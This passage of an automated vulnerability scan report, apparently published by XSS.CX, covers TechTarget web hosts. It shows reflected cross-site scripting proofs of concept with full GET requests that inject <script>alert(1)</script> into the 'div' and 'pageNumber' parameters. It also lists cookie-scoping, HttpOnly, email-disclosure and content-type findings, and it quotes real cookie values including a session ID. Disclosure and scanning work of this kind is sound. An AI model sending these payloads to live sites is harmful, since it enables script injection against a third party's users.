The value of the div request parameter is copied into the HTML document as plain text between tags. The payload 6bd11<script>alert(1)</script>74299854b37 was submitted in the div parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /registration/searchcloudstorage/InlineRegister.page?type=inlineregister&callback=inlineCallback&div=inlineRegistration6bd11<script>alert(1)</script>74299854b37&pageNumber=1 HTTP/1.1
Host: users.techtarget.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
Accept: */*
Referer: http://searchcloudstorage.techtarget.com/tip/Cloud-storage-review-Storage-in-the-cloud-vs-cloud-storage
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tt_ui=%7B%22textSize%22%3A0%7D; __utma=1.517372389.1321655155.1321655155.1321655155.1; __utmb=1.12.10.1321655155; __utmc=1; __utmz=1.1321655155.1.1.utmcsr=techtarget.com|utmccn=(referral)|utmcmd=referral|utmcct=/html/pr/pr-10202011.htm; bn_ec=%7B%22a%22%3A%22c%22%2C%22c%22%3A%22d%26g%26s%22%2C%22d%22%3A%22http%3A%2F%2Fsearchcloudstorage.techtarget.com%2F%22%2C%22r%22%3A%22http%3A%2F%2Fwww.techtarget.com%2Fhtml%2Fpr%2Fpr-10202011.htm%22%2C%22t%22%3A1321655201819%2C%22u%22%3A%226923819986052447276%22%2C%22dd%22%3A%22http%3A%2F%2Fsearchcloudstorage.techtarget.com%2Ftip%2FCloud-storage-review-Storage-in-the-cloud-vs-cloud-storage%22%2C%22l%22%3A%22Cloud%20storage%20review%3A%20Technology%20requirements%22%2C%22de%22%3A%7B%22ti%22%3A%22Cloud%20storage%20information%2C%20news%20and%20tips%20%E2%80%93%20SearchCloudStorage.com%22%2C%22nw%22%3A748%2C%22nl%22%3A180%7D%7D; ugcCltHeight=; tt_prereg=t1@313849%24_2011-11-18%2017%3A26%3A09%26g%3D2240111127%2Ct1@313849%24t2@315950%24_2011-11-18%2017%3A26%3A28%26g%3D2240037776%2Ct1@303470%24t2@313959%24_2011-11-18%2017%3A26%3A33%26g%3D2240111263%2Ct1@304683%24t2@306779%24_2011-11-18%2017%3A26%3A38%26g%3D2240110398%2Ct1@2240035840%24t2@2240035842%24t3@2240035841%24_2011-11-18%2017%3A26%3A43%26g%3D2240101119; bk=617847aa-1b71-4503-a2f5-8b35c49da7a6; co=%7B%22countryId%22%3A%22UNKNOWN%22%2C%22id%22%3A%22UNKNOWN%22%2C%22f2000%22%3A%22UNKNOWN%22%2C%22empSizeId%22%3A%22UNKNOWN%22%2C%22empSize%22%3A%22UNKNOWN%22%2C%22f1000%22%3A%22UNKNOWN%22%2C%22revenueId%22%3A%22UNKNOWN%22%2C%22industryId%22%3A%22UNKNOWN%22%2C%22industry%22%3A%22UNKNOWN%22%2C%22dbSic%22%3A%22UNKNOWN%22%2C%22type%22%3A%22UNKNOWN%22%2C%22revenue%22%3A%22UNKNOWN%22%7D; bn_u=6923819986052447276

Response

HTTP/1.1 200 OK
Server: Resin/3.1.8
ETag: 8Jmr4Y1x4OwU4CKagb8vPO%2By0eU4PQFWWaqD9Xwb7mOHo17LSPTuWgq0dltfx%2BWx0PhhEnhl8hF81wSzeZNWlVjKoJ20Sw%2B6e0InVUWsvLEmIaKBcScABVG73j7E%2Fv9kFmEBKP%2FCk6SJN8tFuZ05qVku8lVnPJr6
Cache-Control: max-age=43200
Cache-Control: private
Expires: Sat, 19 Nov 2011 10:27:37 GMT
Content-Type: application/json; charset=UTF-8
Content-Length: 7808
Date: Fri, 18 Nov 2011 22:27:37 GMT

inlineCallback('inlineRegistration6bd11<script>alert(1)</script>74299854b37', [{"contentType":"BLOCK","CONTENT":"<style>\r\n.inlineReg_new form input {width:250px;}\r\n.inlineReg_new .inlineRegHeader
...[SNIP]...

1.10. http://users.techtarget.com/registration/searchcloudstorage/InlineRegister.page [pageNumber parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://users.techtarget.com
Path:	/registration/searchcloudstorage/InlineRegister.page

Issue detail

The value of the pageNumber request parameter is copied into the HTML document as plain text between tags. The payload 12e23<script>alert(1)</script>1fb1b05047b was submitted in the pageNumber parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /registration/searchcloudstorage/InlineRegister.page?type=inlineregister&callback=inlineCallback&div=inlineRegistration&pageNumber=112e23<script>alert(1)</script>1fb1b05047b HTTP/1.1
Host: users.techtarget.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
Accept: */*
Referer: http://searchcloudstorage.techtarget.com/tip/Cloud-storage-review-Storage-in-the-cloud-vs-cloud-storage
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tt_ui=%7B%22textSize%22%3A0%7D; __utma=1.517372389.1321655155.1321655155.1321655155.1; __utmb=1.12.10.1321655155; __utmc=1; __utmz=1.1321655155.1.1.utmcsr=techtarget.com|utmccn=(referral)|utmcmd=referral|utmcct=/html/pr/pr-10202011.htm; bn_ec=%7B%22a%22%3A%22c%22%2C%22c%22%3A%22d%26g%26s%22%2C%22d%22%3A%22http%3A%2F%2Fsearchcloudstorage.techtarget.com%2F%22%2C%22r%22%3A%22http%3A%2F%2Fwww.techtarget.com%2Fhtml%2Fpr%2Fpr-10202011.htm%22%2C%22t%22%3A1321655201819%2C%22u%22%3A%226923819986052447276%22%2C%22dd%22%3A%22http%3A%2F%2Fsearchcloudstorage.techtarget.com%2Ftip%2FCloud-storage-review-Storage-in-the-cloud-vs-cloud-storage%22%2C%22l%22%3A%22Cloud%20storage%20review%3A%20Technology%20requirements%22%2C%22de%22%3A%7B%22ti%22%3A%22Cloud%20storage%20information%2C%20news%20and%20tips%20%E2%80%93%20SearchCloudStorage.com%22%2C%22nw%22%3A748%2C%22nl%22%3A180%7D%7D; ugcCltHeight=; tt_prereg=t1@313849%24_2011-11-18%2017%3A26%3A09%26g%3D2240111127%2Ct1@313849%24t2@315950%24_2011-11-18%2017%3A26%3A28%26g%3D2240037776%2Ct1@303470%24t2@313959%24_2011-11-18%2017%3A26%3A33%26g%3D2240111263%2Ct1@304683%24t2@306779%24_2011-11-18%2017%3A26%3A38%26g%3D2240110398%2Ct1@2240035840%24t2@2240035842%24t3@2240035841%24_2011-11-18%2017%3A26%3A43%26g%3D2240101119; bk=617847aa-1b71-4503-a2f5-8b35c49da7a6; co=%7B%22countryId%22%3A%22UNKNOWN%22%2C%22id%22%3A%22UNKNOWN%22%2C%22f2000%22%3A%22UNKNOWN%22%2C%22empSizeId%22%3A%22UNKNOWN%22%2C%22empSize%22%3A%22UNKNOWN%22%2C%22f1000%22%3A%22UNKNOWN%22%2C%22revenueId%22%3A%22UNKNOWN%22%2C%22industryId%22%3A%22UNKNOWN%22%2C%22industry%22%3A%22UNKNOWN%22%2C%22dbSic%22%3A%22UNKNOWN%22%2C%22type%22%3A%22UNKNOWN%22%2C%22revenue%22%3A%22UNKNOWN%22%7D; bn_u=6923819986052447276

Response

HTTP/1.1 500 For input string: "112e23<script>alert(1)</script>1fb1b05047b"
Server: Resin/3.1.8
Content-Type: text/html; charset=UTF-8
Date: Fri, 18 Nov 2011 22:27:39 GMT
Content-Length: 4696

<!DOCTYPE html PUBLIC
   "-//W3C//DTD XHTML 1.1 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
<div style="display:none;">
java.lang.NumberFormatException: For input string: "112e23<script>alert(1)</script>1fb1b05047b"
   at java.lang.NumberFormatException.forInputString(NumberFormatException.java:48)
   at java.lang.Integer.parseInt(Integer.java:456)
   at java.lang.Integer.valueOf(Integer.java:553)
   at com.techtarget.r
...[SNIP]...

2. Cookie scoped to parent domain previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://go.techtarget.com
Path:	/clicktrack-r/activity/activity.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bk=90e78bbb-4b88-4537-832a-22ebb020168c; domain=.techtarget.com; path=/; expires=Thu, 16-Feb-2012 22:26:17 GMT
co=%7B%22countryId%22%3A%22UNKNOWN%22%2C%22id%22%3A%22UNKNOWN%22%2C%22f2000%22%3A%22UNKNOWN%22%2C%22empSizeId%22%3A%22UNKNOWN%22%2C%22empSize%22%3A%22UNKNOWN%22%2C%22f1000%22%3A%22UNKNOWN%22%2C%22revenueId%22%3A%22UNKNOWN%22%2C%22industryId%22%3A%22UNKNOWN%22%2C%22industry%22%3A%22UNKNOWN%22%2C%22dbSic%22%3A%22UNKNOWN%22%2C%22type%22%3A%22UNKNOWN%22%2C%22revenue%22%3A%22UNKNOWN%22%7D; domain=.techtarget.com; path=/; expires=Thu, 16-Feb-2012 22:26:17 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /clicktrack-r/activity/activity.gif?activityTypeId=16&t=2240067475&t2=2240067490&t3=2240067493&a=2011-11-18%2017:26:04&c=normal&r=802273&g=2240110602 HTTP/1.1
Host: go.techtarget.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
Accept: */*
Referer: http://searchcloudprovider.techtarget.com/feature/Cloud-portability-primer-How-and-why-a-provider-should-offer-it
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tt_ui=%7B%22textSize%22%3A0%7D; bn_u=6923819986052447276; bn_ec=%7B%22a%22%3A%22c%22%2C%22c%22%3A%22d%26g%26s%22%2C%22d%22%3A%22http%3A%2F%2Fsearchcloudcomputing.techtarget.com%2F%22%2C%22r%22%3A%22http%3A%2F%2Fwww.techtarget.com%2Fhtml%2Fpr%2Fpr-10202011.htm%22%2C%22t%22%3A1321655166913%2C%22u%22%3A%226923819986052447275%22%2C%22dd%22%3A%22http%3A%2F%2Fsearchcloudcomputing.techtarget.com%2Ftip%2FBuilding-a-Citrix-private-cloud-in-six-steps%22%2C%22l%22%3A%22Building%20a%20Citrix%20private%20cloud%20in%20six%20steps%22%2C%22de%22%3A%7B%22ti%22%3A%22Cloud%20computing%20information%2C%20news%20and%20tips%20-%20searchCloudComputing.com%22%2C%22nw%22%3A764%2C%22nl%22%3A311%7D%7D; tt_prereg=t1@2240067475%24t2@2240067490%24t3@2240067493%24_2011-11-18%2017%3A26%3A04%26g%3D2240110602%2Ct1@313849%24_2011-11-18%2017%3A26%3A09%26g%3D2240111127; __utma=1.517372389.1321655155.1321655155.1321655155.1; __utmb=1.6.10.1321655155; __utmc=1; __utmz=1.1321655155.1.1.utmcsr=techtarget.com|utmccn=(referral)|utmcmd=referral|utmcct=/html/pr/pr-10202011.htm; ugcCltHeight=

Response

HTTP/1.1 302 Found
Server: Resin/3.1.8
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Location: http://media.techtarget.com/searchTechTarget/images/spacer.gif
Set-Cookie: bk=90e78bbb-4b88-4537-832a-22ebb020168c; domain=.techtarget.com; path=/; expires=Thu, 16-Feb-2012 22:26:17 GMT
Set-Cookie: co=%7B%22countryId%22%3A%22UNKNOWN%22%2C%22id%22%3A%22UNKNOWN%22%2C%22f2000%22%3A%22UNKNOWN%22%2C%22empSizeId%22%3A%22UNKNOWN%22%2C%22empSize%22%3A%22UNKNOWN%22%2C%22f1000%22%3A%22UNKNOWN%22%2C%22revenueId%22%3A%22UNKNOWN%22%2C%22industryId%22%3A%22UNKNOWN%22%2C%22industry%22%3A%22UNKNOWN%22%2C%22dbSic%22%3A%22UNKNOWN%22%2C%22type%22%3A%22UNKNOWN%22%2C%22revenue%22%3A%22UNKNOWN%22%7D; domain=.techtarget.com; path=/; expires=Thu, 16-Feb-2012 22:26:17 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 100
Date: Fri, 18 Nov 2011 22:26:17 GMT

The URL has moved <a href="http://media.techtarget.com/searchTechTarget/images/spacer.gif">here</a>

3. Cookie without HttpOnly flag set previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://go.techtarget.com
Path:	/clicktrack-r/activity/activity.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bk=90e78bbb-4b88-4537-832a-22ebb020168c; domain=.techtarget.com; path=/; expires=Thu, 16-Feb-2012 22:26:17 GMT
co=%7B%22countryId%22%3A%22UNKNOWN%22%2C%22id%22%3A%22UNKNOWN%22%2C%22f2000%22%3A%22UNKNOWN%22%2C%22empSizeId%22%3A%22UNKNOWN%22%2C%22empSize%22%3A%22UNKNOWN%22%2C%22f1000%22%3A%22UNKNOWN%22%2C%22revenueId%22%3A%22UNKNOWN%22%2C%22industryId%22%3A%22UNKNOWN%22%2C%22industry%22%3A%22UNKNOWN%22%2C%22dbSic%22%3A%22UNKNOWN%22%2C%22type%22%3A%22UNKNOWN%22%2C%22revenue%22%3A%22UNKNOWN%22%7D; domain=.techtarget.com; path=/; expires=Thu, 16-Feb-2012 22:26:17 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

Response

4. Email addresses disclosed previous next
There are 2 instances of this issue:

/registration/searchcloudsecurity/InlineRegister.page
/registration/searchcloudstorage/InlineRegister.page

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

4.1. http://users.techtarget.com/registration/searchcloudsecurity/InlineRegister.page previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://users.techtarget.com
Path:	/registration/searchcloudsecurity/InlineRegister.page

Issue detail

The following email addresses were disclosed in the response:

webmaster@TechTarget.com
webmaster@techtarget.com

Request

GET /registration/searchcloudsecurity/InlineRegister.page?type=inlineregister&callback=inlineCallback&div=inlineRegistration&pageNumber=1 HTTP/1.1
Host: users.techtarget.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
Accept: */*
Referer: http://searchcloudsecurity.techtarget.com/tip/Techniques-for-sensitive-data-discovery-in-the-cloud?Offer=mn_eh111011CSECHCAR_&utm_source=sCloudSecurity&utm_medium=EMAIL&utm_campaign=HOUSE-Home_Page_Carousel_Marketing_Link-Nov1011&utm_content=
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tt_ui=%7B%22textSize%22%3A0%7D; __utma=1.517372389.1321655155.1321655155.1321655155.1; __utmb=1.16.10.1321655155; __utmc=1; __utmz=1.1321655155.1.1.utmcsr=techtarget.com|utmccn=(referral)|utmcmd=referral|utmcct=/html/pr/pr-10202011.htm; ugcCltHeight=; bn_u=6923819986052447276; Offer=mn_eh111011CSECHCAR_; tt_prereg=t1@303470%24t2@313959%24_2011-11-18%2017%3A26%3A33%26g%3D2240111263%2Ct1@304683%24t2@306779%24_2011-11-18%2017%3A26%3A38%26g%3D2240110398%2Ct1@2240035840%24t2@2240035842%24t3@2240035841%24_2011-11-18%2017%3A26%3A43%26g%3D2240101119%2Ct1@2240034452%24_2011-11-18%2017%3A26%3A55%26g%3D2240102592%2Ct1@317220%24_2011-11-18%2017%3A27%3A02%26g%3D2240101929%26promo%3Dmn_eh111011CSECHCAR_; bk=617847aa-1b71-4503-a2f5-8b35c49da7a6; co=%7B%22countryId%22%3A%22UNKNOWN%22%2C%22id%22%3A%22UNKNOWN%22%2C%22f2000%22%3A%22UNKNOWN%22%2C%22empSizeId%22%3A%22UNKNOWN%22%2C%22empSize%22%3A%22UNKNOWN%22%2C%22f1000%22%3A%22UNKNOWN%22%2C%22revenueId%22%3A%22UNKNOWN%22%2C%22industryId%22%3A%22UNKNOWN%22%2C%22industry%22%3A%22UNKNOWN%22%2C%22dbSic%22%3A%22UNKNOWN%22%2C%22type%22%3A%22UNKNOWN%22%2C%22revenue%22%3A%22UNKNOWN%22%7D

Response

HTTP/1.1 200 OK
Server: Resin/3.1.8
ETag: 8Jmr4Y1x4OwdgQIs8XrqYRZsCSkIPGd0brvbrAUPaGEI%2B2LIjI0eSKnkhOsqkDACjEWyJgSwSSAZIS3i3DK4XY0%2F6tqpdjWv1bTupJZAU%2FE%3D
Cache-Control: max-age=43200
Cache-Control: private
Expires: Sat, 19 Nov 2011 10:27:08 GMT
Content-Type: application/json; charset=UTF-8
Content-Length: 6696
Date: Fri, 18 Nov 2011 22:27:08 GMT

inlineCallback('inlineRegistration', [{"contentType":"BLOCK","CONTENT":"<style>\r\n.inlineReg_new form input {width:250px;}\r\n.inlineReg_new .inlineRegHeader h4 {font-size:19px}\r\n<\/style>\r\n <
...[SNIP]...
<a href=\"mailto:webmaster@techtarget.com\">webmaster@TechTarget.com<\/a>
...[SNIP]...

4.2. http://users.techtarget.com/registration/searchcloudstorage/InlineRegister.page previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://users.techtarget.com
Path:	/registration/searchcloudstorage/InlineRegister.page

Issue detail

The following email addresses were disclosed in the response:

webmaster@TechTarget.com
webmaster@techtarget.com

Request

GET /registration/searchcloudstorage/InlineRegister.page?type=inlineregister&callback=inlineCallback&div=inlineRegistration&pageNumber=1 HTTP/1.1
Host: users.techtarget.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
Accept: */*
Referer: http://searchcloudstorage.techtarget.com/tip/Cloud-storage-review-Storage-in-the-cloud-vs-cloud-storage
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tt_ui=%7B%22textSize%22%3A0%7D; __utma=1.517372389.1321655155.1321655155.1321655155.1; __utmb=1.12.10.1321655155; __utmc=1; __utmz=1.1321655155.1.1.utmcsr=techtarget.com|utmccn=(referral)|utmcmd=referral|utmcct=/html/pr/pr-10202011.htm; bn_ec=%7B%22a%22%3A%22c%22%2C%22c%22%3A%22d%26g%26s%22%2C%22d%22%3A%22http%3A%2F%2Fsearchcloudstorage.techtarget.com%2F%22%2C%22r%22%3A%22http%3A%2F%2Fwww.techtarget.com%2Fhtml%2Fpr%2Fpr-10202011.htm%22%2C%22t%22%3A1321655201819%2C%22u%22%3A%226923819986052447276%22%2C%22dd%22%3A%22http%3A%2F%2Fsearchcloudstorage.techtarget.com%2Ftip%2FCloud-storage-review-Storage-in-the-cloud-vs-cloud-storage%22%2C%22l%22%3A%22Cloud%20storage%20review%3A%20Technology%20requirements%22%2C%22de%22%3A%7B%22ti%22%3A%22Cloud%20storage%20information%2C%20news%20and%20tips%20%E2%80%93%20SearchCloudStorage.com%22%2C%22nw%22%3A748%2C%22nl%22%3A180%7D%7D; ugcCltHeight=; tt_prereg=t1@313849%24_2011-11-18%2017%3A26%3A09%26g%3D2240111127%2Ct1@313849%24t2@315950%24_2011-11-18%2017%3A26%3A28%26g%3D2240037776%2Ct1@303470%24t2@313959%24_2011-11-18%2017%3A26%3A33%26g%3D2240111263%2Ct1@304683%24t2@306779%24_2011-11-18%2017%3A26%3A38%26g%3D2240110398%2Ct1@2240035840%24t2@2240035842%24t3@2240035841%24_2011-11-18%2017%3A26%3A43%26g%3D2240101119; bk=617847aa-1b71-4503-a2f5-8b35c49da7a6; co=%7B%22countryId%22%3A%22UNKNOWN%22%2C%22id%22%3A%22UNKNOWN%22%2C%22f2000%22%3A%22UNKNOWN%22%2C%22empSizeId%22%3A%22UNKNOWN%22%2C%22empSize%22%3A%22UNKNOWN%22%2C%22f1000%22%3A%22UNKNOWN%22%2C%22revenueId%22%3A%22UNKNOWN%22%2C%22industryId%22%3A%22UNKNOWN%22%2C%22industry%22%3A%22UNKNOWN%22%2C%22dbSic%22%3A%22UNKNOWN%22%2C%22type%22%3A%22UNKNOWN%22%2C%22revenue%22%3A%22UNKNOWN%22%7D; bn_u=6923819986052447276

Response

HTTP/1.1 200 OK
Server: Resin/3.1.8
ETag: 8Jmr4Y1x4OwU4CKagb8vPO%2By0eU4PQFWWaqD9Xwb7mOHo17LSPTuWgq0dltfx%2BWx0PhhEnhl8hF81wSzeZNWlVjKoJ20Sw%2B6PICXwBW2rns%3D
Cache-Control: max-age=43200
Cache-Control: private
Expires: Sat, 19 Nov 2011 10:26:51 GMT
Content-Type: application/json; charset=UTF-8
Content-Length: 7767
Date: Fri, 18 Nov 2011 22:26:51 GMT

inlineCallback('inlineRegistration', [{"contentType":"BLOCK","CONTENT":"<style>\r\n.inlineReg_new form input {width:250px;}\r\n.inlineReg_new .inlineRegHeader h4 {font-size:19px}\r\n<\/style>\r\n <
...[SNIP]...
<a href=\"mailto:webmaster@techtarget.com\">webmaster@TechTarget.com<\/a>
...[SNIP]...

5. Content type is not specified previous
There are 2 instances of this issue:

http://go.techtarget.com/favicon.ico
http://users.techtarget.com/favicon.ico

Issue description

If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

5.1. http://go.techtarget.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://go.techtarget.com
Path:	/favicon.ico

Request

GET /favicon.ico HTTP/1.1
Host: go.techtarget.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: Resin/3.1.8
ETag: "GMcwe7JOJnt"
Last-Modified: Thu, 29 Sep 2011 23:50:14 GMT
Content-Length: 894
Date: Fri, 18 Nov 2011 22:32:49 GMT

..............h.......(....... ................................................ .......... ..==...................((.......F..p..p..p..F.......................((....N..h..w...........w..h..N....
...[SNIP]...

5.2. http://users.techtarget.com/favicon.ico previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://users.techtarget.com
Path:	/favicon.ico

Request

GET /favicon.ico HTTP/1.1
Host: users.techtarget.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tt_ui=%7B%22textSize%22%3A0%7D; Offer=mn_eh111011CSECHCAR_; JSESSIONID=cbaF6hkR2TVdDg1nLY4ot; tt_prereg=t1@304683%24t2@306779%24_2011-11-18%2017%3A26%3A38%26g%3D2240110398%2Ct1@2240035840%24t2@2240035842%24t3@2240035841%24_2011-11-18%2017%3A26%3A43%26g%3D2240101119%2Ct1@2240034452%24_2011-11-18%2017%3A26%3A55%26g%3D2240102592%2Ct1@317220%24_2011-11-18%2017%3A27%3A02%26g%3D2240101929%26promo%3Dmn_eh111011CSECHCAR_%2Ct1@317220%24_2011-11-18%2017%3A27%3A30%26g%3D1280092909; __utma=1.517372389.1321655155.1321655155.1321655224.2; __utmb=1.4.10.1321655224; __utmc=1; __utmz=1.1321655224.2.2.utmcsr=sCloudSecurity|utmccn=HOUSE-Home_Page_Carousel_Marketing_Link-Nov1011|utmcmd=EMAIL; ugcCltHeight=; bn_u=6923819986052447276; bk=617847aa-1b71-4503-a2f5-8b35c49da7a6; co=%7B%22countryId%22%3A%22UNKNOWN%22%2C%22id%22%3A%22UNKNOWN%22%2C%22f2000%22%3A%22UNKNOWN%22%2C%22empSizeId%22%3A%22UNKNOWN%22%2C%22empSize%22%3A%22UNKNOWN%22%2C%22f1000%22%3A%22UNKNOWN%22%2C%22revenueId%22%3A%22UNKNOWN%22%2C%22industryId%22%3A%22UNKNOWN%22%2C%22industry%22%3A%22UNKNOWN%22%2C%22dbSic%22%3A%22UNKNOWN%22%2C%22type%22%3A%22UNKNOWN%22%2C%22revenue%22%3A%22UNKNOWN%22%7D; __utma=91947166.1297231173.1321655356.1321655356.1321655356.1; __utmb=91947166.1.10.1321655356; __utmc=91947166; __utmz=91947166.1321655356.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/3

Response

HTTP/1.1 200 OK
Server: Resin/3.1.8
ETag: "GMcwe7JOJnt"
Last-Modified: Fri, 18 Nov 2011 14:35:06 GMT
Content-Length: 894
Date: Fri, 18 Nov 2011 22:29:22 GMT

..............h.......(....... ................................................ .......... ..==...................((.......F..p..p..p..F.......................((....N..h..w...........w..h..N....
...[SNIP]...

Report generated by XSS.CX at Sat Nov 19 05:49:59 CST 2011.